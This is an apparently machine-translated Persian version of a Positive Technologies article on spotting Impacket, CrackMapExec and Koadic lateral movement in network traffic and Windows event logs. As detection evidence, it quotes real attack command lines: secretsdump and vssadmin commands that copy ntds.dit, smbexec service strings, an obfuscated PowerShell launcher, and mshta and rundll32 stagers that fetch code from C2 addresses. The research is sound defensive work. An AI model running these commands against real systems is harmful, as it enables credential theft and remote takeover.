تعداد حملات در بخش شرکتی هر سال در حال افزایش است: برای مثال
شایان ذکر است که این ابزارها برای نفوذ اولیه استفاده نمی شوند، بلکه برای توسعه حمله در زیرساخت استفاده می شوند. مهاجمان از آنها در مراحل مختلف حمله به دنبال نفوذ محیط استفاده می کنند. به هر حال، تشخیص این مشکل و اغلب فقط با کمک فناوری است
کاری که ما باید انجام می دادیم:
- نحوه کار ابزارهای هک را درک کنید. دریابید که مهاجمان باید از چه چیزی بهره برداری کنند و از چه فناوری هایی می توانند استفاده کنند.
- آنچه را که توسط ابزارهای امنیت اطلاعات در اولین مراحل حمله شناسایی نمی شود، پیدا کنید. مرحله شناسایی ممکن است نادیده گرفته شود، یا به این دلیل که مهاجم یک مهاجم داخلی است، یا به این دلیل که مهاجم از سوراخی در زیرساخت استفاده می کند که قبلاً شناخته شده نبود. بازگرداندن کل زنجیره اقدامات او ممکن می شود، از این رو میل به تشخیص حرکت بیشتر است.
- موارد مثبت کاذب را از ابزارهای تشخیص نفوذ حذف کنید. ما نباید فراموش کنیم که وقتی اقدامات خاصی فقط بر اساس شناسایی شناسایی می شوند، خطاهای مکرر ممکن است. معمولاً در زیرساختها تعداد کافی راه وجود دارد که در نگاه اول از راههای قانونی قابل تشخیص نیستند، برای به دست آوردن هرگونه اطلاعات.
این ابزارها چه چیزی به مهاجمان می دهند؟ اگر این Impacket باشد، مهاجمان کتابخانه بزرگی از ماژول ها را دریافت می کنند که می توانند در مراحل مختلف حمله پس از شکستن محیط مورد استفاده قرار گیرند. بسیاری از ابزارها از ماژول های Impacket به صورت داخلی استفاده می کنند - به عنوان مثال، Metasploit. دارای dcomexec و wmiexec برای اجرای فرمان از راه دور، Secretsdump برای گرفتن حسابهایی از حافظه که از Impacket اضافه شدهاند. در نتیجه تشخیص صحیح فعالیت چنین کتابخانه ای تشخیص مشتقات را تضمین می کند.
تصادفی نیست که سازندگان "Powered by Impacket" را درباره CrackMapExec (یا به سادگی CME) نوشتند. علاوه بر این، CME دارای عملکرد آماده ای برای سناریوهای محبوب است: Mimikatz برای به دست آوردن رمز عبور یا هش آنها، اجرای Meterpreter یا عامل Empire برای اجرای از راه دور، و Bloodhound در هیئت مدیره.
سومین ابزاری که ما انتخاب کردیم Koadic بود. این کاملاً جدید است، در کنفرانس بین المللی هکر DEFCON 25 در سال 2017 ارائه شد و با یک رویکرد غیر استاندارد متمایز می شود: از طریق HTTP، Java Script و Microsoft Visual Basic Script (VBS) کار می کند. این رویکرد زندگی خارج از زمین نامیده می شود: این ابزار از مجموعه ای از وابستگی ها و کتابخانه های ساخته شده در ویندوز استفاده می کند. سازندگان آن را COM Command & Control یا C3 می نامند.
IMPACKET
عملکرد Impacket بسیار گسترده است، از شناسایی در داخل AD و جمعآوری دادهها از سرورهای داخلی MS SQL تا تکنیکهای به دست آوردن اعتبار: این یک حمله رله SMB است، و دریافت فایل ntds.dit حاوی هش رمزهای عبور کاربر از یک کنترلکننده دامنه. Impacket همچنین دستورات را از راه دور با استفاده از چهار روش مختلف اجرا می کند: WMI، Windows Scheduler Management Service، DCOM و SMB، و برای انجام این کار به اعتبار نیاز دارد.
Secretsdump
بیایید نگاهی به Secretsdump بیندازیم. این ماژولی است که می تواند هم ماشین های کاربر و هم کنترل کننده های دامنه را هدف قرار دهد. می توان از آن برای به دست آوردن کپی از مناطق حافظه LSA، SAM، SECURITY، NTDS.dit استفاده کرد، بنابراین می توان آن را در مراحل مختلف حمله مشاهده کرد. اولین مرحله در عملکرد ماژول، احراز هویت از طریق SMB است که برای انجام خودکار حمله Pass the Hash به رمز عبور کاربر یا هش آن نیاز دارد. در مرحله بعدی درخواستی برای باز کردن دسترسی به Service Control Manager (SCM) و دسترسی به رجیستری از طریق پروتکل winreg ارائه می شود که با استفاده از آن مهاجم می تواند داده های شاخه های مورد علاقه را پیدا کند و از طریق SMB نتایج را به دست آورد.
در شکل 1 می بینیم که چگونه دقیقاً هنگام استفاده از پروتکل winreg، با استفاده از یک کلید رجیستری با LSA دسترسی به دست می آید. برای انجام این کار، از دستور DCERPC با کد 15 - OpenKey استفاده کنید.
برنج. 1. باز کردن یک کلید رجیستری با استفاده از پروتکل winreg
در مرحله بعد، هنگامی که دسترسی به کلید به دست آمد، مقادیر با دستور SaveKey با کد 20 ذخیره می شوند. Impacket این کار را به روشی بسیار خاص انجام می دهد. این مقادیر را در فایلی ذخیره می کند که نام آن رشته ای از 8 کاراکتر تصادفی است که با .tmp اضافه شده است. علاوه بر این، آپلود بیشتر این فایل از طریق SMB از فهرست System32 انجام می شود (شکل 2).
برنج. 2. طرحی برای به دست آوردن یک کلید رجیستری از یک ماشین راه دور
به نظر می رسد که چنین فعالیتی در شبکه را می توان با پرس و جو به شاخه های رجیستری خاص با استفاده از پروتکل winreg، نام های خاص، دستورات و ترتیب آنها شناسایی کرد.
این ماژول همچنین ردپایی را در گزارش رویداد ویندوز به جا می گذارد و تشخیص آن را آسان می کند. به عنوان مثال در نتیجه اجرای دستور
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
در لاگ ویندوز سرور 2016، توالی کلیدی رویدادها را مشاهده خواهیم کرد:
1. 4624 - ورود از راه دور.
2. 5145 - بررسی حقوق دسترسی به سرویس از راه دور winreg.
3. 5145 - بررسی حقوق دسترسی به فایل در فهرست System32. فایل دارای نام تصادفی ذکر شده در بالا است.
4. 4688 - ایجاد یک فرآیند cmd.exe که vssadmin را راه اندازی می کند:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - ایجاد یک فرآیند با دستور:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
6. 4688 - ایجاد یک فرآیند با دستور:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
7. 4688 - ایجاد یک فرآیند با دستور:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
Smbexec
مانند بسیاری از ابزارهای پس از بهره برداری، Impacket دارای ماژول هایی برای اجرای دستورات از راه دور است. ما بر روی smbexec تمرکز خواهیم کرد، که یک پوسته فرمان تعاملی را در یک ماشین راه دور فراهم می کند. این ماژول همچنین نیاز به احراز هویت از طریق SMB دارد، چه با رمز عبور یا هش رمز عبور. در شکل در شکل 3 نمونه ای از نحوه عملکرد چنین ابزاری را می بینیم، در این مورد آن کنسول مدیر محلی است.
برنج. 3. کنسول تعاملی smbexec
اولین مرحله smbexec پس از احراز هویت، باز کردن SCM با دستور OpenSCManagerW (15) است. پرس و جو قابل توجه است: قسمت MachineName DUMMY است.
برنج. 4. درخواست باز کردن Service Control Manager
در مرحله بعد، سرویس با استفاده از دستور CreateServiceW (12) ایجاد می شود. در مورد smbexec، هر بار میتوانیم همان منطق ساخت فرمان را ببینیم. در شکل 5 سبز نشان دهنده پارامترهای فرمان غیرقابل تغییر است، زرد نشان می دهد که مهاجم می تواند چه چیزی را تغییر دهد. به راحتی می توان فهمید که نام فایل اجرایی، دایرکتوری آن و فایل خروجی قابل تغییر است، اما تغییر بقیه بدون ایجاد اختلال در منطق ماژول Impacket بسیار دشوارتر است.
برنج. 5. درخواست ایجاد یک سرویس با استفاده از Service Control Manager
Smbexec همچنین ردپای آشکاری را در گزارش رویداد ویندوز به جا می گذارد. در لاگ ویندوز سرور 2016 برای پوسته فرمان تعاملی با دستور ipconfig، دنباله کلیدی زیر را از رویدادها مشاهده خواهیم کرد:
1. 4697 — نصب سرویس بر روی دستگاه قربانی:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
2. 4688 - ایجاد فرآیند cmd.exe با آرگومان های نقطه 1.
3. 5145 - بررسی حقوق دسترسی به فایل __output در فهرست C$.
4. 4697 — نصب سرویس بر روی دستگاه قربانی.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - ایجاد فرآیند cmd.exe با آرگومان های نقطه 4.
6. 5145 - بررسی حقوق دسترسی به فایل __output در فهرست C$.
Impacket اساس توسعه ابزارهای حمله است. تقریباً از تمام پروتکل های زیرساخت ویندوز پشتیبانی می کند و در عین حال ویژگی های مشخصه خود را دارد. در اینجا درخواستهای winreg خاص و استفاده از SCM API با فرمت نام فایل و SMB SYSTEM32 به اشتراک گذاشته شده است.
CRACKMAPEXEC
ابزار CME اساساً برای خودکارسازی آن دسته از اقدامات معمولی طراحی شده است که مهاجم باید برای پیشروی در شبکه انجام دهد. این به شما امکان می دهد تا با عامل معروف Empire و Meterpreter کار کنید. برای اجرای مخفیانه دستورات، CME می تواند آنها را مبهم کند. با استفاده از Bloodhound (ابزار شناسایی جداگانه)، مهاجم میتواند جستجوی یک جلسه مدیر دامنه فعال را خودکار کند.
کاراگاه
Bloodhound، به عنوان یک ابزار مستقل، امکان شناسایی پیشرفته در داخل شبکه را فراهم می کند. دادههای مربوط به کاربران، ماشینها، گروهها، جلسات را جمعآوری میکند و به عنوان یک اسکریپت PowerShell یا فایل باینری ارائه میشود. برای جمع آوری اطلاعات از پروتکل های مبتنی بر LDAP یا SMB استفاده می شود. ماژول یکپارچه سازی CME به Bloodhound اجازه می دهد تا در دستگاه قربانی بارگیری شود، داده های جمع آوری شده را پس از اجرا اجرا و دریافت کند، در نتیجه اقدامات در سیستم را خودکار می کند و آنها را کمتر قابل توجه می کند. پوسته گرافیکی Bloodhound دادههای جمعآوریشده را در قالب نمودار ارائه میکند که به شما امکان میدهد کوتاهترین مسیر را از ماشین مهاجم تا مدیر دامنه پیدا کنید.
برنج. 6. رابط Bloodhound
برای اجرا بر روی ماشین قربانی، ماژول با استفاده از ATSVC و SMB یک کار ایجاد می کند. ATSVC یک رابط برای کار با Windows Task Scheduler است. CME از تابع NetrJobAdd(1) خود برای ایجاد وظایف در شبکه استفاده می کند. نمونه ای از آنچه که ماژول CME ارسال می کند در شکل نشان داده شده است. 7: این یک فراخوانی دستور cmd.exe و کد مبهم به شکل آرگومان در قالب XML است.
شکل 7. ایجاد یک کار از طریق CME
پس از ارسال کار برای اجرا، دستگاه قربانی خود Bloodhound را راه اندازی می کند و این را می توان در ترافیک مشاهده کرد. این ماژول با پرس و جوهای LDAP برای به دست آوردن گروه های استاندارد، لیستی از همه ماشین ها و کاربران در دامنه، و کسب اطلاعات در مورد جلسات کاربر فعال از طریق درخواست SRVSVC NetSessEnum مشخص می شود.
برنج. 8. دریافت لیستی از جلسات فعال از طریق SMB
علاوه بر این، راهاندازی Bloodhound بر روی دستگاه قربانی با فعال بودن ممیزی با یک رویداد با شناسه 4688 (ایجاد فرآیند) و نام فرآیند همراه است. «C:WindowsSystem32cmd.exe»
. آنچه در مورد آن قابل توجه است، آرگومان های خط فرمان است:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
ماژول enum_avproducts از نظر عملکرد و پیاده سازی بسیار جالب است. WMI به شما امکان می دهد از زبان پرس و جو WQL برای بازیابی داده ها از اشیاء مختلف ویندوز استفاده کنید، که اساساً همان چیزی است که این ماژول CME از آن استفاده می کند. در مورد ابزارهای حفاظتی نصب شده بر روی دستگاه قربانی، پرسش هایی را برای کلاس های AntiSpywareProduct و AntiМirusProduct ایجاد می کند. به منظور به دست آوردن داده های لازم، ماژول به فضای نام rootSecurityCenter2 متصل می شود، سپس یک پرس و جو WQL ایجاد می کند و یک پاسخ دریافت می کند. در شکل شکل 9 محتویات این گونه درخواست ها و پاسخ ها را نشان می دهد. در مثال ما، Windows Defender پیدا شد.
برنج. 9. فعالیت شبکه ماژول enum_avproducts
اغلب ممیزی WMI (Trace WMI-Activity) که در رویدادهای آن می توانید اطلاعات مفیدی در مورد جستارهای WQL بیابید، ممکن است غیرفعال شود. اما اگر فعال باشد، اگر اسکریپت enum_avproducts اجرا شود، رویدادی با شناسه 11 ذخیره میشود که شامل نام کاربری که درخواست را ارسال کرده و نامی در فضای نام rootSecurityCenter2 خواهد بود.
هر یک از ماژول های CME مصنوعات خاص خود را داشتند، خواه پرس و جوهای خاص WQL یا ایجاد نوع خاصی از کار در یک زمانبندی کار با مبهم سازی و فعالیت های خاص Bloodhound در LDAP و SMB.
KOADIC
یکی از ویژگی های متمایز Koadic استفاده از جاوا اسکریپت و مفسر VBScript است که در ویندوز تعبیه شده است. از این نظر، از روند زندگی خارج از زمین پیروی می کند - یعنی هیچ وابستگی خارجی ندارد و از ابزارهای استاندارد ویندوز استفاده می کند. این ابزاری برای Command & Control کامل (CnC) است، زیرا پس از عفونت یک "ایمپلنت" روی دستگاه نصب می شود که امکان کنترل آن را فراهم می کند. چنین ماشینی، در اصطلاح کوادیک، "زامبی" نامیده می شود. اگر امتیازات کافی برای عملیات کامل از طرف قربانی وجود نداشته باشد، Koadic میتواند آنها را با استفاده از تکنیکهای دور زدن کنترل حساب کاربری (UAC Bypass) افزایش دهد.
برنج. 10. پوسته Koadic
قربانی باید با سرور Command & Control ارتباط برقرار کند. برای انجام این کار، او باید با یک URI از قبل آماده شده تماس بگیرد و بدنه اصلی Koadic را با استفاده از یکی از استیدرها دریافت کند. در شکل شکل 11 نمونه ای را برای استیدر mshta نشان می دهد.
برنج. 11. راه اندازی یک جلسه با سرور CnC
بر اساس متغیر پاسخ WS، مشخص می شود که اجرا از طریق WScript.Shell انجام می شود و متغیرهای STAGER، SESSIONKEY، JOBKEY، JOBKEYPATH، EXPIRE حاوی اطلاعات کلیدی در مورد پارامترهای جلسه جاری هستند. این اولین جفت درخواست-پاسخ در یک اتصال HTTP با یک سرور CnC است. درخواست های بعدی مستقیماً با عملکرد ماژول های نامیده شده (ایمپلنت) مرتبط است. همه ماژول های Koadic فقط با یک جلسه فعال با CnC کار می کنند.
Mimikatz
درست مانند CME که با Bloodhound کار می کند، Koadic با Mimikatz به عنوان یک برنامه جداگانه کار می کند و راه های متعددی برای راه اندازی آن دارد. در زیر یک جفت درخواست و پاسخ برای دانلود ایمپلنت Mimikatz آمده است.
برنج. 12. انتقال Mimikatz به Koadic
می توانید ببینید که چگونه فرمت URI در درخواست تغییر کرده است. اکنون حاوی مقداری برای متغیر csrf است که مسئول ماژول انتخاب شده است. به نام او توجه نکنید؛ همه ما می دانیم که CSRF معمولاً متفاوت درک می شود. پاسخ همان بدنه اصلی Koadic بود که کد مربوط به Mimikatz به آن اضافه شد. بسیار بزرگ است، بنابراین اجازه دهید به نکات کلیدی نگاه کنیم. در اینجا ما کتابخانه Mimikatz را داریم که در base64 کدگذاری شده است، یک کلاس NET سریالی که آن را تزریق می کند، و آرگومان هایی برای راه اندازی Mimikatz. نتیجه اجرا از طریق شبکه به صورت متن واضح منتقل می شود.
برنج. 13. نتیجه اجرای Mimikatz بر روی یک دستگاه از راه دور
Exec_cmd
Koadic همچنین دارای ماژول هایی است که می توانند دستورات را از راه دور اجرا کنند. در اینجا همان روش تولید URI و متغیرهای آشنای sid و csrf را خواهیم دید. در مورد ماژول exec_cmd، کدی به بدنه اضافه می شود که قادر به اجرای دستورات پوسته است. در زیر چنین کدهای موجود در پاسخ HTTP سرور CnC نشان داده شده است.
برنج. 14. کد ایمپلنت exec_cmd
متغیر GAWTUUGCFI با ویژگی WS آشنا برای اجرای کد مورد نیاز است. با کمک آن، ایمپلنت پوسته را فراخوانی میکند و دو شاخه کد را پردازش میکند - shell.exec با بازگشت جریان دادههای خروجی و shell.run بدون بازگشت.
Koadic یک ابزار معمولی نیست، اما مصنوعات خاص خود را دارد که می توان آن را در ترافیک قانونی پیدا کرد:
- تشکیل ویژه درخواست های HTTP،
- با استفاده از winHttpRequests API،
- ایجاد یک شی WScript.Shell از طریق ActiveXObject،
- بدنه اجرایی بزرگ
اتصال اولیه توسط مرحلهگر شروع میشود، بنابراین امکان شناسایی فعالیت آن از طریق رویدادهای ویندوز وجود دارد. برای mshta، این رویداد 4688 است که نشان دهنده ایجاد یک فرآیند با ویژگی start است:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6
در حالی که Koadic در حال اجرا است، میتوانید 4688 رویداد دیگر را با ویژگیهایی ببینید که کاملاً آن را مشخص میکنند:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
یافته ها
روند زندگی از طریق زمین در بین جنایتکاران محبوبیت پیدا می کند. آنها از ابزارها و مکانیسم های تعبیه شده در ویندوز برای نیازهای خود استفاده می کنند. ما شاهد هستیم که ابزارهای محبوب Koadic، CrackMapExec و Impacket که از این اصل پیروی می کنند، به طور فزاینده ای در گزارش های APT ظاهر می شوند. تعداد فورکها در GitHub برای این ابزارها نیز در حال افزایش است و موارد جدید ظاهر میشوند (در حال حاضر حدود هزار مورد از آنها وجود دارد). این روند به دلیل سادگی آن در حال محبوبیت است: مهاجمان به ابزارهای شخص ثالث نیاز ندارند؛ آنها در حال حاضر روی ماشین های قربانیان هستند و به آنها کمک می کنند تا اقدامات امنیتی را دور بزنند. ما بر مطالعه ارتباطات شبکه تمرکز می کنیم: هر ابزاری که در بالا توضیح داده شد، ردپای خود را در ترافیک شبکه به جا می گذارد. مطالعه دقیق آنها به ما اجازه داد تا محصول خود را آموزش دهیم
نویسنده:
- آنتون تیورین، رئیس بخش خدمات تخصصی، مرکز امنیت متخصص PT، فناوری های مثبت
- ایگور پودموکوف، کارشناس، مرکز امنیتی متخصص PT، فناوری های مثبت
منبع: www.habr.com